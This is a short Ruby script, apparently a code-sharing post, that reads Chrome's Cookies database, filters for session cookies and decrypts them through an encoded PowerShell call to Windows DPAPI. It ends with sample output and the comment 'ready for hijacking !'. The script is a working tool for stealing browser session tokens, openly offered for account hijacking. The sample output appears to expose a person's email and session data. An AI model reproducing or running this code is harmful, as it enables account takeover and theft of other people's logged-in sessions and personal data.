Extract cookies from chrome SQLite local storage and decrypt them using Windows DPAPI

cookie_decrypt.rb

require 'base64'
require 'sqlite3'
require 'uri'

app_data_location = `echo %appdata%`
db = SQLite3::Database.new "#{app_data_location}\\..\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"

# make your own request and filters here
res = db.execute "select host_key,name,encrypted_value from cookies WHERE name LIKE '%session%'"

res.each do |cookie|
host_key = cookie[0]
name = cookie[1]
encrypted = cookie[2]

cmd = "Add-Type -AssemblyName System.Security
$cookieAsEncryptedBytes = [byte]#{encrypted.bytes.join(',')}
$cookieAsBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($cookieAsEncryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$cookie = [System.Text.Encoding]::ASCII.GetString($cookieAsBytes)
$cookie"

encoded_cmd = Base64.strict_encode64(cmd.encode('utf-16le'))
decrypted = `powershell.exe -encodedCommand #{encoded_cmd}`
puts "#{host_key} : #{name} => #{URI::decode decrypted}"
end

# example output
# www.sentrifugo.com : session_alive => ppWZnak=
# www.sentrifugo.com : user_session_data => [email protected]$$$likadi9195$$$
# lesnumeriques.com : af_session => {"visitorId":"1573643138598865","sessionId":1,...}

# ready for hijacking !